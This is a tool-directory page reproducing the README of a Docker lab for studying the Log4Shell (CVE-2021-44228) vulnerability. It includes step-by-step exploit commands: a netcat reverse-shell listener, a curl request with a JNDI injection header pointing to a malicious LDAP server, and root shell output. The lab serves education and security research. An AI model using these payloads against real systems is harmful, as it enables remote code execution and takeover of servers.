Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
mi-laboratorio-log4shell — Laboratorio automatizado Plug & Play en Docker para auditar y estudiar la vulnerabilidad Log4Shell (CVE-2021-44228) | Kitploit
Tools/GitHubGitHub/mafo-sec/mi-laboratorio-log4shell
Container SecurityVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationLabs & Practice
GitHubmafo-sec/mi-laboratorio-log4shell

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

mi-laboratorio-log4shell

Laboratorio automatizado Plug & Play en Docker para auditar y estudiar la vulnerabilidad Log4Shell (CVE-2021-44228)

View Repository
3 months agoNot yet reviewed

🚀 Automated Log4Shell (CVE-2021-44228) Play & Plug Lab

An automated, single-command security research laboratory designed to demonstrate and audit the Log4Shell (CVE-2021-44228) Remote Code Execution (RCE) vulnerability.

This project consolidates all necessary components (vulnerable application, malicious LDAP referral server, and attacker tools) into a unified, isolated network infrastructure using Docker Compose.


⚙️ Key Features

  • 100% Plug & Play: No manual IP configuration, .env file editing, or network alignment required. Everything resolves automatically via Docker's internal DNS.
  • Bytecode Compatibility: Exploit code is automatically cross-compiled forcing compatibility with the victim's older Java Virtual Machine (JVM) architecture, eliminating UnsupportedClassVersionError issues.
  • Centralized Deployment: Controlled entirely by a single orchestration layer and an interactive Bash script manager (configurar.sh) that automates container teardown, cache clearing, and rebuilds.

🏗️ Architecture Overview

The laboratory creates an isolated bridge network (red-log4shell) with three key actors:

  1. Victim (web-vulnerable): A Spring Boot web application utilizing an unmitigated, vulnerable version of Log4j (2.14.1) running on Java 8u111.
  2. LDAP Server (ldap-malicioso): Powered by marshalsec to intercept incoming lookup requests and dynamically redirect the victim to the attacker's payload.
  3. Attacker (kali-tools): A custom Kali Linux container hosting a Python HTTP server to deliver the compiled exploit payload (Exploit.class) and a Netcat listener to catch the reverse shell.

⚙️ Quick Start

To deploy this laboratory on any Linux machine with Docker installed, execute the following commands in your terminal:

root@kitploit:~
# 1. Clone the repository
git clone https://github.com/MAFO-sec/mi-laboratorio-log4shell.git

# 2. Navigate to the project directory
cd mi-laboratorio-log4shell

# 3. Grant execution permissions to the script manager and launch the lab
chmod +x configurar.sh
./configurar.sh

🚀 How to Exploit (Step-by-Step)

Once the infrastructure is automatically up and running via the script, follow these steps to trigger the exploit and capture the reverse shell. Step 1: Set Up the Netcat Listener

Open a new terminal on your host machine (Ubuntu) and attach to the attacker's container to put Netcat on standby for incoming connections: Bash

sudo docker exec -it kali-tools bash

Inside the Kali container, start the listener: Bash

nc -lvnp 4444

You will see the message: listening on [any] 4444 ... Step 2: Launch the Attack Vector

Open another separate terminal on your host machine and send the malicious JNDI injection string embedded within the X-Api-Version header: Bash

curl http://localhost:8080/ -H 'X-Api-Version: ${jndi:ldap://ldap-malicioso:1389/Exploit}'

Step 3: Verify the Reverse Shell

Go back to your Netcat terminal. You should see an active connection. You can now execute commands as root inside the victim server: Bash

connect to [172.21.0.4] from (UNKNOWN) [172.21.0.2] 57164 whoami root


⚠️ Disclaimer

This repository is created strictly for educational purposes, security research, and authorized academic auditing. Never execute these tools or attack infrastructure without explicit, prior written authorization from the infrastructure owners.

Download Tool